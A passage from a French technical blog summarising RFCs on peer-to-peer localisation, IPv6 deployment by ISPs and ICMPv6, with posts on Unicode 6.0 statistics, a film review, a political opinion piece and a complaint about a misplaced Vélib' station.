Les premières sont traitées plus en détail dans la section 2.1. L'idée de base est que les machines mesurent un coût (typiquement, la latence) par rapport à un certain nombre d'amers et qu'on peut ensuite calculer le coût de la communication entre deux machines, par le biais d'un système de coordonnées Internet. C'est ainsi que fonctionnent IDmaps ou GNP. Tous les deux dépendent d'un réseau d'amers stables. Au contraire, Vivaldi est entièrement distribué et c'est le système utilisé dans le client BitTorrent Azureus.

Les algorithmes cités dans le paragraphe précédent forment une sous-catégorie du groupe « Mesures faites par l'application ». Cette sous-catégorie est celle des systèmes de coordonnées explicites, qui essaient, à coup de mesures, de déterminer la topologie sous-jacente. Dans un réseau aussi complexe que l'Internet, où des inégalités aussi simples que l'inégalité triangulaire (qui dit que le coût pour aller de A à C est inférieur ou égal au coût de A à B plus celui de B à C) ne sont pas forcément vraies, il n'est pas évident qu'une telle approche soit efficace. D'où la seconde sous-catégorie, basée sur une mesure des distances. Moins générales, ces méthodes (dont la plus connue est Meridian) sont peut-être plus réalistes.

Dans tous les cas, toutes les mesures faites par les applications doivent se poser la problème de ce qu'on mesure. Le plus simple est de mesurer la latence (ce que fait, par exemple, la commande ping). Or, des métriques comme la capacité (RFC 5136) ou comme le taux de pertes de paquets (RFC 7680) seraient sans doute plus utiles. Plus difficiles à estimer par des mesures actives, elles conviennent par contre bien aux mesures passives (voir « Internet tomography » de Coates, M., Hero, A., Nowak, R., and B. Yu et ou iPlane).

Toutes les techniques de la section 2.1, où l'application cherche à se faire une idée de la topologie du réseau souffrent des mêmes problèmes : l'Internet est compliqué (section 3). Par exemple, le chemin le plus court n'est pas forcément le meilleur. Et la topologie ne renseigne pas sur les coûts financiers des liens, par exemple sur le fait que le transit est plus cher que le peering. Enfin, comme toutes les mesures actives, elles ajoutent à la charge du réseau.

Deuxième groupe, dans la section 2.2, les méthodes fondées sur une coopération entre les couches. Ce sont celles où l'application, au lieu de devoir faire les mesures elle-même, peut interroger un service qui a été configuré (typiquement par le FAI) avec des informations sur le réseau, sa capacité, son coût, etc. La plus connue est P4P (section 2.2.1) où des serveurs, les iTrackers, sont interrogés par les applications qui récupèrent ainsi des informations utiles. Des expériences, par exemple celle décrite dans le RFC 5632 indiquent que les gains de temps pour un téléchargement peuvent dépasser un facteur 2. Si le RFC ne parle pas des problèmes politiques, on note que ce mécanisme nécessite que le FAI soit prêt à révéler une partie de la structure de son réseau.

Une autre solution, décrite dans la section 2.2.2, est celle des « oracles » où l'application, au lieu d'avoir accès à des informations sur le réseau, fournit une liste de pairs potentiels et l'oracle lui indique les plus favorables. Là encore, le RFC ne rentre pas dans les questions politiques mais on voit que l'oracle acquière beaucoup d'informations sensibles, notamment sur les pairs avec qui on communique.

Une variante (section 2.2.3) du cas de l'oracle est celui où les deux machines qui veulent communiquer se connaissent déjà mais hésitent sur les adresses IP à utiliser, puisque ce choix influencera le chemin pris (cela ne concerne évidemment que les machines ayant plusieurs adresses). Cette approche, utilisée dans le système IDIPS (voir Saucez, D., Donnet, B., and O. Bonaventure, « Implementation and Preliminary Evaluation of an ISP-Driven Informed Path Selection », CoNEXT 2007) pourrait être utilisé pour le pair-à-pair en considérant l'ensemble des pairs possibles comme étant une immense machine virtuelle qu'on cherche à atteindre, un genre d'anycast.

Bien des questions restent ouvertes à l'heure actuelle (section 4). Ainsi, le problème des machines malveillantes qui vont essayer, dans le cas où le système de mesure est distribué, de perturber les mesures ou d'injecter de faux résultats (section 4.2). Dans un réseau de la taille de l'Internet, et compte-tenu du fait que certains ont un intérêt financier à limiter le partage de fichiers, il ne fait guère de doute qu'il y aura de telles machines pirates. Il n'existe pas actuellement de solutions miracles contre elles. Des tests de vraisemblance ont été proposés, pour vérifier si les mesures d'une machine ne s'écartent pas trop de celles des autres. Mais ces tests sont souvent fondés sur des suppositions qui ne sont pas forcément vraies sur l'Internet (comme l'inégalité triangulaire citée plus haut). Dans les cas où les pairs interrogent un oracle, la question de l'authentification de l'oracle est également cruciale. Mais les réseaux pair-à-pair se prêtent mal aux lourdes solutions d'identité comme les PKI.

Une variante de ce dernier problème se pose d'ailleurs au sujet de l'intégrité des données transmises (section 4.3). Ce n'est pas tout d'authentifier le pair ou l'oracle, encore faut-il être sûr que les informations reçues n'ont pas été modifiées en cours de route. Une telle modification permettrait, par exemple, d'affecter un coût très faible à une cible et de faire réaliser ainsi une dDoS contre elle (RFC 4732).

Enfin, parmi les différents problèmes encore largement ouverts, on peut citer les cas où l'optimisation marche trop bien (section 4.6). Poussée à l'extrême, en effet, l'optimisation ferait que les pairs ne s'adressent qu'à des pairs très proches, chez le même FAI et dans la même région. Les grands essaims pair-à-pair se fragmenteraient alors en essaims locaux, n'ayant pas de communication entre eux, ce qui réduirait la redondance qui fait la solidité du pair-à-pair (voir « Pushing BitTorrent Locality to the Limit » de Stevens Le Blond, Arnaud Legout et Walid Dabbous).


Téléchargez le RFC 6029


L'article seul

RFC 6036: Emerging Service Provider Scenarios for IPv6 Deployment

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : B. Carpenter (Univ. of Auckland), S. Jiang (Huawei)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 23 octobre 2010


Maintenant que de nombreux FAI, dans le monde, ont déployé IPv6 et l'offrent comme service à leurs clients, il est temps de regarder ce qu'ils ont fait et de le documenter. Les auteurs de ce RFC ont donc commis un questionnaire début 2010 sur le thème « comment avez-vous déployé IPv6 », et l'ont envoyé à un certain nombres de FAI. Notre RFC 6036 résume les réponses.

Pendant longtemps, la décision de passer à IPv6 ou pas semblait ouverte. On déployait IPv6 quand, comme Nerim, on avait une clientèle techniquement exigeante, et on ne le déployait pas lorsqu'il n'y avait pas de demande des clients (le cas le plus fréquent). Mais, aujourd'hui, le business ne peut plus continuer comme avant, les adresses IPv4 étant presque épuisées. Cela laisse trois choix aux FAI (section 1 du RFC) :

  • Essayer d'économiser à l'extrême les adresses IPv4, en en allouant de moins en moins aux clients (ce qui est difficile pour l'accès individuel, où il n'y a déjà qu'une seule adresse par foyer) et en essayant d'acheter des adresses IPv4 sur les marchés gris ou noirs.
  • Installer de plus en plus de traduction d'adresse en étages successifs et laisser les clients déboguer les problèmes qui en résulteront.
  • Déployer IPv6.

Que font aujourd'hui les FAI ? L'enquête va essayer de répondre à cette question, en se focalisant sur ce qui est de la responsabilité directe des FAI, l'adressage, le routage, la gestion, le DNS, et en excluant les applications (qui sont souvent un des freins à la migration vers IPv6).

Plusieurs RFC couvrent ce champ. Par exemple, le RFC 4029 parle du déploiement chez un FAI, et prévoit la « double pile » (v4 et v6) sur tous les équipements. Compte-tenu du retard pris et de l'épuisement des adresses v4, cela ne sera sans doute pas possible et il faut aujourd'hui envisager la cohabitation et la communication entre des machines purement v4 et d'autres purement v6. Le RFC 5211 est une vision plus générale du déploiement d'IPv6, les FAI étant juste un cas particulier. Le RFC 4779 documente le déploiement de IPv6 dans des réseaux d'accès courants comme le câble TV ou l'ADSL. Les RFC 5181 et RFC 5121 traitent, eux, des accès 802.16. Les questions de sécurité sont abordées dans le RFC 4942 ainsi que dans le RFC 4864, ce dernier se focalisant sur la protection du réseau local du client.

Les normes IPv6 de base sont assez stables (la plupart des RFC récents n'ont touché qu'aux détails) mais le travail continue activement à l'IETF, par exemple dans des domaines comme la traduction d'adresses.

Place maintenant à l'étude elle-même (section 2). Le questionnaire figure dans l'annexe B. Il a été expédié à des listes d'opérateurs comme NANOG. 31 réponses ont été reçues. Seuls les volontaires répondaient, ce qui biaise évidemment les résultats (une liste - incomplète car certains ont demandé l'anonymat - des répondants figure en section 7). Les auteurs du RFC notent que les FAI qui ont déployé IPv6 étaient probablement plus prompts à répondre. Les réponses étaient confidentielles. Les réponses agrégées figurent dans l'annexe A.

Que trouve t-on dans ces réponses ? Les répondants fournissent de l'accès à l'Internet par un grand nombre de moyens (section 2.2), xDSL, DOCSIS, Ethernet, WiMAX et bien d'autres. Sur les adresses IP utilisées, plusieurs répondants poussent le négationnismes jusqu'à dire qu'ils n'auront jamais d'épuisement des adresses IPv4, les autres répondants citant, pour leur propre pénurie, des dates entre 2010 et 2015. En 2010, plusieurs FAI en Asie - 19 % des répondants - n'ont déjà plus une seule adresse IP publique et allouent du RFC 1918 à leurs clients ; ceux-ci n'ont donc pas un vrai accès Internet. 39 % des répondants utilisent des adresses privées en interne.

42 % des répondants ont déjà une offre IPv6 (section 2.4), mais moins d'1 % de clients l'utilise. 48 % des répondants ont une telle offre en travaux, avec l'idée d'ouvrir entre 2010 et 2013 (rappelez-vous que les réponses n'ont pas été vérifiées...) Donc, 10 % des répondants, en 2010, moins d'un an avant l'épuisement de la réserve IANA, ne font rien... Le pronostic sur le dépassement d'IPv4 par IPv6 en terme de trafic varie évidemment mais tourne autour de 2015.

Quelle technique de déploiement ? 94 % des répondants ont une épine dorsale en double-pile (section 2.5). 39 % ont ou bien vont avoir un relais 6to4 (je n'ai pas vérifié si cela incluait les relais 6rd comme ceux de Free) et 16 % du Teredo. Une des questions portait sur « les systèmes qui ne gèrent pas IPv6 ». Si les gros routeurs de l'épine dorsale sont évidemment tous prêts pour IPv6 depuis très longtemps, le maillon faible concerne plutôt des systèmes plus discrets : les CPE sont le plus souvent cités mais aussi les DSLAM, les répartiteurs de charge ou des logiciels comme celui de gestion des adresses IP des clients ou bien le système de facturation. À la question de savoir si des engins comme les CPE pourraient être mis à jour, beaucoup de réponses étaient « nous l'espérons »...

Parmi ceux qui allouent des adresses IPv6, les préfixes existants vont d'un /19 à un /48 (!) et celui alloué au client va de /48 à /64 en passant par plusieurs /56 (le RFC 6177 donne des recommandations à ce sujet). Pour déléguer le préfixe du client à la CPE, les méthodes vont de la configuration manuelle à DHCPv6 et SLAAC (StateLess Address AutoConfiguration). Certains utilisent Radius ou PPPoE bien qu'ils n'aient pas de moyen standard de déléguer un préfixe.

La moitié des répondants gèrent déjà des serveurs double-pile (SMTP, HTTP, IMAP). Des systèmes internes comme la surveillance du réseau semblent également v6isés à 50 % alors que les systèmes de facturation et de compatibilité, dejà cités, ne le sont qu'à 23 %.

Comment gérer la coexistence d'IPv4 et IPv6 ? 58 % des FAI ne croient pas aux clients « fixes » purement v6. Interrogés sur la date où la dernière application purement v4 disparaitra, les réponses sont souvent du type « au moins dix ans ». Il faudra donc gérer la coexistence. Sur ce point, la section 2.5 ne montre aucun consensus sur les solutions : un traducteur du genre NAT, par exemple, ou bien d'autres mécanismes pas forcément précisés.

Certains FAI ont IPv6 en production depuis des années. Quelles expériences peuvent-ils en tirer ? La section 3 fait le point. Ceux qui ont fait le choix de la double pile native (c'est le cas de Nerim en France) en sont contents. Mais ceux ceux qui utilisent 6to4 ou 6rd aussi. La plupart des répondants estiment a posteriori que le passage à IPv6 était plutôt facile, une opération qu'ils classent dans la catégorie « comment arriver à manger un éléphant ? » (la réponse est « une bouchée à la fois »). Les difficultés rencontrées portaient sur la difficulté à convaincre certains (il existe encore des négationnistes qui, cherchant à justifier leur inaction, prétendent que l'épuisement des adresses IPv4 est un faux problème) et, naturellement, sur le fait que, comme tous les changements d'infrastructure qui n'apportent pas un bénéfice immédiat et visible, le passage à IPv6 est difficile à justifier auprès de la direction, qui ne voit que l'intérêt financier immédiat. Des problèmes moins connus sont aussi soulevés, comme l'importance d'impliquer les gens qui font le support utilisateur, puisque certaines applications mal écrites ne se rabattront pas sur IPv4 si une connexion IPv6 échoue, ce qui peut entraîner des protestations des clients.

Puisqu'on parle des problèmes, quels sont les principaux manques à l'heure actuelle, pour le FAI qui veut passer à IPv6 ? La section 4 liste les réponses faites à ce sujet :

  • Les produits « bas de gamme » qui ne gèrent pas IPv6 (CPE, appliances SIP, IDS, ...). Sans compter ceux chez qui IPv6 est bogué, ou incomplet (un répondant cite le cas d'un CPE théoriquement IPv6 mais dont les fonctions de shaping ne marchaient qu'en IPv4) ou bien plus lent qu'IPv4. Dans le domaine du logiciel, si le logiciel libre n'est pas trop mal placé, beaucoup de logiciels commerciaux ne gèrent toujours pas IPv6.
  • L'offre de protocoles n'est pas encore complète (et, contrairement au point précédent, celui-ci est sous la responsabilité directe de l'IETF). La section 4.2 note que les répondants estiment qu'il n'existe pas de protocoles satisfaisants pour la délégation d'un préfixe v6 à la CPE, pour les mécanismes de contrôle des pare-feux comme UPnP, pour l'allocation d'adresses IP avec PPPoE ou Radius. (À noter que les réponses sont parfois mal informées ; ainsi, la demande d'un VRRP v6 a été satisfaite dans le RFC 5798 et celle d'une indication des serveurs DNS dans les Router Advertisement dans le RFC 6106. Le problème est donc en réalité désormais un problème de mise en œuvre et de déploiement, plus de protocole. Le cas inverse arrive aussi, où le FAI qui envisage de déployer v6 n'est pas conscient des limites de certains protocoles, voir la section 4.3.)
  • Enfin, des gros problèmes qui ne peuvent pas être résolus par les programmeurs ou par l'IETF demeurent : difficulté à trouver un vendeur de transit IPv6 en Amérique du Nord ou en Asie, problèmes de PMTU persistants, ...

Téléchargez le RFC 6036


L'article seul

Marre des gens qui se moquent de la taille de Sarkozy

Première rédaction de cet article le 17 octobre 2010


Je viens encore de voir (dans Charlie Hebdo mais ça se trouve aussi ailleurs, malheureusement) une Nième caricature qui se moque de la petite taille de Nicolas Sarkozy. C'est exaspérant : s'il a choisi sa politique, il n'a pas choisi sa taille. Se moquer des caractéristiques physiques des gens, c'est au minimum con et facile, au pire aux limites du fascisme, lorsqu'on ne respecte que les grands blonds musclés. (Oui, j'ai bien dit « du fascisme » et tant pis pour mes points Godwin.)

Je trouve désolant que tant de gens « de gauche » attaquent Sarkozy sur ce point, à coup de caricatures méchantes et de surnoms ridicules. Il n'y a donc rien à dire sur sa politique ? Sur ses innombrables cadeaux aux riches, à commencer par le bouclier fiscal ? Sur la manière répugnante dont il ranime le racisme anti-rom pour faire oublier les liens d'un de ses ministres avec une milliardaire ? Sur ses lois ultra-répressives contre l'Internet comme la loi Hadopi, créée pour le plaisir et le profit des ses amis de l'industrie du divertissement ? Sur les coupes brutales des budgets comme l'éducation (suppression de la formation pédagogique pour les futurs profs, suppression de postes de personnels non-enseignants qualifiés, etc) ou sur ses attaques contre la retraite des pauvres (la sienne sera assurée par ses amis du Fouquet's) ?

Normalement, la politique se fait sur les discours et les actes des gens. Se moquer de la taille d'un politicien, c'est descendre au niveau d'un Frédéric Lefebvre ou d'un Brice Hortefeux.


L'article seul

RFC 4443: Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (IPv6) Specification

Date de publication du RFC : Mars 2006
Auteur(s) du RFC : A. Conta (Transwitch), S. Deering (Cisco), M. Gupta (Tropos)
Chemin des normes
Première rédaction de cet article le 17 octobre 2010


Il y a un protocole peu connu dans le monde IP, c'est ICMP. Situé dans les couches basses, il ne sert pas directement aux applications, à part à ping, avec qui il est souvent confondu (c'est ainsi que pas mal de blaireaux administrateurs d'un pare-feu bloquent tout ICMP parce qu'ils se disent qu'il n'ont pas besoin de ping). ICMP pour IPv4 était normalisé dans le RFC 792 et la version (très proche) qui sert pour IPv6 était dans le RFC 2463, désormais remplacé par notre RFC 4443.

En quoi consiste ICMP ? Techniquement parlant, il est situé au dessus d'IP dans le modèle en couches, son champ Next Header portant le numéro 58. Mais, en fait, ce protocole est une partie intégrante d'IP. Il sert à transporter les messages liés au fonctionnement d'IP, par exemple à prévenir si un routeur ne peut plus acheminer les paquets car il n'a plus de route pour cette destination, ou bien à prévenir qu'un paquet est trop gros pour la MTU du lien suivant. ICMP v6 sert aussi à bâtir d'autres protocoles, comme NDP (RFC 4861), qui utilise des messages ICMP pour permettre la découverte d'une machine voisine sur le réseau local. ICMP faisant partie intégrante d'IP (cf. section 2), ce RFC 4443 fait donc partie des lectures indispensables pour qui veut comprendre la version 6 d'IP.

Le format des messages ICMP v6 est en section 2.1. Après l'en-tête IPv6 et zéro, un ou plus en-têtes d'extension (par exemple pour la fragmentation) arrive la partie purement ICMP, introduite par un champ Next Header valant 58. Les trois champs communs à tout paquet ICMP sont ensuite le type (huit bits), le code (huit bits) et une somme de contrôle (seize bits, définie en section 2.3). Voici comment Wireshark le représente en C :

struct icmp6_hdr {
	guint8	icmp6_type;	/* type field */
	guint8	icmp6_code;	/* code field */
	guint16	icmp6_cksum;	/* checksum field */
	union {
		guint32	icmp6_un_data32[1]; /* type-specific field */
		guint16	icmp6_un_data16[2]; /* type-specific field */
		guint8	icmp6_un_data8[4];  /* type-specific field */
	} icmp6_dataun;
};

Comme l'indiquent les commentaires dans le source de Wireshark, le format des données dépend du type. Il y a deux catégories de types, ceux qui indiquent une erreur (de 0 à 127) et les autres. Il existe de nombreux types possibles (stockés dans un registre IANA, cf. section 6). Parmi ceux définis directement par ce RFC, pour vous donner une idée :

  • 1 est envoyé par un routeur lorsque la destination n'est pas joignable,
  • 2 indique un paquet trop gros pour la MTU,
  • 3 indique que le nombre de routeurs traversé a atteint une limite (il est donc utilisé par traceroute) : on notera que le RFC l'appelle « Time exceeded », comme en IPv4, alors que le champ correspondant du paquet n'est officiellement plus un TTL en IPv6 mais un nombre de routeurs (hop count),
  • 100 et 101 sont réservés pour des expérimentations,
  • 128 (qui n'est donc pas une erreur, puisque > 127) est la demande d'un écho et 129 la réponse. Ce sont donc les deux types utilisés par ping.

Notez que les valeurs ne sont pas du tout les mêmes qu'en IPv4, même lorsque la sémantique est la même.

Le format détaillé figure en section 3. Ainsi, lorsque le type est 1 (Destination unrechable), le code indique la raison pour laquelle la dite destination était injoignable : 0 pour « aucune route disponible », 1 pour « interdit » (par un pare-feu), 3 pour « machine injoignable » (on est sur le bon réseau mais la machine de destination ne répond pas), etc. traceroute traduit ces codes en lettres précédées d'un ! donc respectivement !N, !X et !H.

Le cas du type 2, « paquet trop gros » (section 3.2) est intéressant car les routeurs IPv6, contrairement à leurs frères IPv4, n'ont pas le droit de fragmenter. La source doit donc prendre garde de ne pas générer des paquets plus gros que la MTU du chemin (cf. RFC 1981) et, pour cela, a besoin de ces paquets ICMP de type 2 (qui comprennent, après les trois champs génériques, un champ de 32 bits indiquant la MTU du prochain lien). Hélas, beaucoup de pare-feux sont gérés par des ignorants et bloquent tout l'ICMP. Ces paquets n'arrivent donc pas à la source et celle-ci ne peut plus ajuster la taille des paquets. C'est un des problèmes réseau les plus courants avec IPv6, que l'on voit dès que la MTU est inférieure aux traditionnels 1500 octets, par exemple parce qu'il y a un tunnel sur le trajet.

Les paquets liés à la fonction écho comprennent quant à eux un identificateur et un numéro de séquence (sections 4.1 et 4.2), de seize bits chacun. Copiés automatiquement dans la réponse, ils servent à mettre en correspondance une réponse avec une question (au cas où plusieurs utilisateurs d'une machine se servent de ping en même temps).

Quelle adresse IP source doit être utilisée lorsqu'un équipement IPv6 génère un paquet ICMP ? La section 2.2 est claire : si le paquet ICMP répond à un message qui était adressé personnellement à la machine (cas d'un ping), l'adresse source doit être celle à qui était adressé le message. Sinon (cas d'un routeur qui doit traiter un paquet qui ne lui est pas destiné), l'adresse source doit être une adresse unicast du routeur émetteur.

Reprenant les principes du RFC 1122, notre RFC spécifie, en section 2.4, les règles à suivre lors du traitement de paquets ICMP. Ainsi, les messages d'information de type inconnu doivent être ignorés (pour permettre leur introduction ultérieure sans rien casser). Comme en IPv4, un équipement IPv6 ne doit jamais répondre à un message ICMP d'erreur (pour éviter les boucles). Les messages d'erreur à propos d'un paquet doivent inclure autant d'octets que possible du paquet original sans toutefois dépasser les 1260 octets qui sont le minimum qu'un réseau doit accepter pour faire de l'IPv6 (cette règle est plus stricte que la règle IPv4 originale qui n'imposait pas de remplir le paquet au maximum). Autre point où ICMP v6 diffère, la limitation du nombre de paquets ICMP émis est obligatoire, pour éviter certaines attaques où le méchant convainc un routeur de générer des paquets ICMP en rafale. La méthode recommandée pour ce rate-limiting est le seau qui fuit. Les méthodes simplistes (du genre « un paquet émis toutes les N milli-secondes »), qui ne peuvent pas faire face à du trafic très variable (comme celui de traceroute) sont par contre déconseillées. Les paramètres du seau devraient être configurables (Linux permet apparemment cette configuration mais je n'ai pas regardé la documentation du paramètre sysctl net.ipv6.icmp.ratelimit, qui vaut 1000 par défaut, mais 1000 quoi ?).

Contrairement au RFC 792 sur ICMP v4, qui ne disait pas un mot sur la sécurité, notre RFC 4443, écrit à une époque plus sensible, consacre une section, la 5, à ces questions. Elle rappelle qu'il n'y a aucune authentification des paquets ICMP et qu'il ne faut donc pas agir aveuglément sur la base d'un paquet ICMP reçu. On peut toujours, prétend le RFC, utiliser IPsec pour les authentifier mais très peu de gens font cela. À part IPsec, solution peu réaliste aujourd'hui, notre RFC recommande des tests de validité (ou, plus exactement, de vraisemblance) pratiqués par les protocoles de transport, comme ceux du RFC 5927.

Depuis la précédente version, le RFC 2463, ICMP v6 a subi plusieurs changements, résumés dans l'annexe A. Parmi eux, le champ de 32 bits dans les messages d'erreur, après les trois champs génériques, même lorsqu'il est inutilisé (cas le plus fréquent), afin de permettre de le sauter facilement, même avec les types inconnus, pour accéder à la copie du paquet original. On note aussi la réservation de types pour des expérimentations.


Téléchargez le RFC 4443


L'article seul

Nouvelle version d'Unicode, la 6.0

Première rédaction de cet article le 16 octobre 2010


Le 11 octobre a vu la sortie d'une nouvelle version du jeu de caractères Unicode, la 6.0. On peut trouver une description des principaux changements en http://www.unicode.org/versions/Unicode6.0.0/ mais voici ceux qui m'ont intéressé particulièrement.

Pour explorer plus facilement la grande base Unicode, j'utilise un programme qui la convertit en SQL et permet ensuite des faire des analyses variées. Comme la version 6 vient de sortir, vous n'avez probablement pas ses données dans votre /usr/share/unicode ou équivalent. Il faut donc d'abord télécharger les deux fichiers de la nouvelle version :

% wget http://www.unicode.org/Public/zipped/6.0.0/UCD.zip
% wget http://www.unicode.org/Public/zipped/6.0.0/Unihan.zip

et les dézipper dans le répertoire qu'utilise par défaut le programme, ./unicode-data/. Ensuite, plus qu'à taper make, prendre un café, et on se retrouve avec une base de données relationnelle intégrant les nouveaux caractères. Faisons quelques requêtes SQL :

ucd=> SELECT count(*) AS Total FROM Characters;
 total  
--------
 109449

Unicode aproche donc désormais les 110 000 caractères. Conclusion de cet élargissement, la majorité des caractères, pour la première fois dans l'histoire d'Unicode, est désormais en dehors du Plan Multilingue de Base :

ucd=> SELECT count(*) FROM Characters where codepoint > 65535;
 count 
-------
 54854

ucd=> SELECT count(*) FROM Characters where codepoint <= 65535;
 count 
-------
 54595

Cette nouvelle version en a apporté combien de caractères ?

ucd=> SELECT version,count(version) FROM Characters 
            GROUP BY version ORDER BY version;
 version | count 
---------+-------
...
 5.0     |  1369
 5.1     |  1624
 5.2     |  6648
 6.0     |  2088

Donc, une version moyenne, avec 2 088 caractères nouveaux.

Que sont ces nouveaux caractères ? Ils viennent des « nouvelles » écritures comme le brāhmī, des caractères longtemps discutés comme la roupie indienne, ₹ (U+20B9), mais surtout beaucoup des très contestés emoji, très utilisés au Japon dans les téléphones portables :

ucd=> SELECT To_U(codepoint) AS Codepoint, name FROM Characters 
     WHERE version = '6.0';
...
 U+1F4A3   | BOMB
 U+1F300   | CYCLONE
 U+1F302   | CLOSED UMBRELLA
 U+1F303   | NIGHT WITH STARS
 U+1F304   | SUNRISE OVER MOUNTAINS
 U+1F305   | SUNRISE
 U+1F306   | CITYSCAPE AT DUSK

(Vous pouvez aussi regarder à quoi ils ressemblent.) Pour une idée des discussions suscitées, voir l'excellent article de Roozbeh Pournader, l'expert Unicode de l'écriture arabe, qui est allé jusqu'à se pencher sur la mise en œuvre d'Unicode pour un musulman fervent et les problèmes qu'elle peut poser. (Je vous laisse imaginer ce que peut être le caractère U+1F37A contesté...)

Il n'y a pas que des ajouts, il y a aussi des changements. Unicode a des règles de stabilité qui empêchent, par exemple, le retrait d'un caractère et la réaffectation de son point de code. Mais ces règles n'empêchent pas des changements comme l'attribution d'un caractère à une nouvelle catégorie car l'ancienne classification était erronée. C'est ainsi que deux caractères Kannada, ೱ (U+0CF1) et ೲ (U+0CF2) sont passés de la catégorie So (symboles divers) à Lo (lettres diverses). Cela a des conséquences pour d'autres normes qui utilisent Unicode comme les IDN. Ainsi, ce changement de catégorie fait passer ces deux caractères de Interdit à Autorisé dans les noms de domaine (cf. RFC 5892). Bien plus génant est le cas d'un caractère Tai Lue, ᧚ (U+19DA) qui avait été classé par erreur Nd (nombres décimaux) alors qu'il aurait dû être No (autres nombres) ;

ucd=> SELECT To_u(codepoint), name, category FROM Characters 
                 WHERE codepoint=x'19DA'::Integer;
  to_u  |            name            | category 
--------+----------------------------+----------
 U+19DA | NEW TAI LUE THAM DIGIT ONE | No

Résultat, il voyage en sens inverse, des Autorisés vers les Interdits. Cela a suscité un débat vif dans la liste idnabis. Fallait-il suivre Unicode et accepter que des noms de domaines légaux deviennent illégaux ? Cela remettrait en cause la stabilité des IDN. Ou bien fallait-il le mettre dans les exceptions prévues par la section 2.7 du RFC 5892 ? (Cette liste d'exceptions est actuellement vide.) La question a été tranchée dans le premier sens : on n'ajoute pas d'exceptions et les noms qui auraient utilisé U+19DA deviennnent donc illégaux (la décision a été publiée et documentée dans le RFC 6452).


L'article seul

Finalement, je n'ai pas appris comment devenir milliardaire

Première rédaction de cet article le 15 octobre 2010


Je viens de voir « The social network », et, si j'ai beaucoup apprécié l'intrigue haletante, l'action haletante, les dialogues brillants et les excellents acteurs, je suis resté sur ma faim concernant les deux questions fondamentales : « Comment on devient milliardaire » et « Zuckerberg a-t-il triché ? ».

Pour la première question, le film n'apporte pas de réponse : on ne voit que de loin le travail qu'a représenté la construction de Facebook. On devine quelques nuits de codage acharnés (ah, c'est le premier film que je vois avec un wget en gros plan) mais il y a bien plus de scènes dans les bars que devant l'écran.

Pour la deuxième, Zuckerberg a-t-il triché ou pas, on ne saura pas non plus. Bien sûr, un tel film a été tellement scruté par tellement d'avocats des différentes personnes représentées qu'on se doute bien qu'il est difficile de donner le moindre détail concret. On dirait que le film entier a été fait sous NDA. Mais, surtout, c'est difficile au cinéma de représenter les nuances et surtout de montrer ce qu'est le processus de création intellectuelle. Contrairement à ce que prétend l'associé hargneux et procédurier des frères Winklevoss, Zuckerberg n'a pas pu « voler une idée ». Les idées sont partout, n'appartiennent à personne et, des projets de réseaux sociaux, à l'époque, il y en avait des centaines qui flottaient au dessus d'Harvard. Ce n'est pas l'idée qui a fait Facebook, c'est la réalisation (les nuits de codage dont je parlais) et, sur ce point, il ne semble pas que Zuckerberg ait triché. Les frères Winklevoss ont une idée très étroite de la propriété intellectuelle, où une idée de coin de table suffit à assurer un droit à réclamer une part des bénéfices de Facebook.


L'article seul

Corriger les erreurs de la liste des stations Vélib'

Première rédaction de cet article le 12 octobre 2010
Dernière mise à jour le 16 octobre 2010


Comme vous le savez, les administrations et les entreprises ont en commun de ne jamais écouter les remarques des utilisateurs lorsque ceux-ci signalent une bogue dans un logiciel, une erreur dans un site Web, une typo dans un document... L'entreprise qui gère le Vélib' est-elle meilleure que les autres ? On peut corriger les erreurs de la carte mais cela nécessite apparemment d'en parler publiquement.

Tout est parti d'une observation : la station de Vélib' 15027, baptisée GIDE, était mal placée sur les cartes officielles. En effet, la liste canonique, http://www.velib.paris.fr/service/carto indiquait cette station en geo:48.83859768566721,2.314054082163708 (j'utilise les URI de plan geo: du RFC 5870 et des liens vers OpenStreetMap, dont les données sont libres, contrairement à G...Maps). Cela plaçait cette station au coin de la rue André Gide et de la rue du Cotentin. Or, en fait, elle est située deux cents mètres plus au sud, en geo:48.83677661418915,2.312820553779602, au coin de la rue André Gide et de la rue Georges Duhamel.

Y a-t-il un moyen de corriger cette erreur ? C'est là que commence le parcours de l'utilisateur : comme la plupart des autres services anonymes, Vélib' n'aime pas être embêté par les plaintes des utilisateurs. Ainsi, sur le site Web officiel, ni adresse de courrier, ni même formulaire Web de contact. Le lien trompeur « Contactez-nous » sur la page d'accueil ne mène qu'à des formulaires spécifiques pour quatre cas prédéfinis (et le signalement d'une erreur n'y figure pas).

J'ai donc commencé par le téléphone, média pourtant très peu pratique lorsqu'il faut dicter des longitudes et des latitudes exactes ! Deux coups de téléphone au 01 30 79 79 30, en mars 2008 et à nouveau le 4 octobre 2010, n'ont évidemment donné aucun résultat : l'opérateur a répété les phrases creuses habituelles (« Merci d'utiliser Vélib' » et tout ça) mais n'a rien transmis. Le téléphone ne fournissant aucun moyen de suivre une demande (à chaque appel, on tombe sur un opérateur différent, à qui il faut tout réexpliquer, il n'existe pas de système de gestion de tickets, etc), je ne peux pas savoir s'il a mis la remarque à la poubelle tout de suite ou bien si elle a été au moins enregistrée quelque part.

Le blog officiel, plein d'articles enchanteurs sur les avantages qu'il y a à utiliser un Vélib', a pourtant consacré un article pratique à la question, http://blog.velib.paris.fr/blog/trucs-et-astuces/un-probleme-a-signaler/. J'en ai profité pour signaler ce problème par écrit dans les commentaires, sans plus de résultat.

Puisque le blog officiel se vante régulièrement de nouvelles incursions de Vélib' dans le monde des réseaux sociaux, j'ai aussi envoyé un message sur Twitter à @Velib_Paris le 8 octobre (sans résultat). (Au passage, la description du profil de ce compte contient une faute d'orthographe mais je ne l'ai pas signalée, de peur d'embrouiller le destinataire en soumettant deux problèmes en même temps.)

J'ai fini par prendre ma plus belle plume et par faire une lettre en papier, timbrée réglementairement et envoyée à l'adresse indiquée sur le site, « Vélib' - TSA 90003 - 78378 Plaisir cedex ». Elle est partie le 12 octobre 2010. J'ignore si c'est à cause de la lettre ou bien à cause de cet article sur mon blog (je n'ai pas reçu de nouvelles de Vélib') mais, en tout cas, j'ai constaté le 16 octobre que l'erreur était corrigée. Il n'aura fallu que deux ans et demi depuis le premier signalement. Conclusion : ne suivez pas les procédures, râlez publiquement, cela marchera mieux.


L'article seul

RFC 6038: TWAMP Reflect Octets and Symmetrical Size Features

Date de publication du RFC : Octobre 2010
Auteur(s) du RFC : A. Morton, L. Ciavattone (AT&T Labs)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ippm
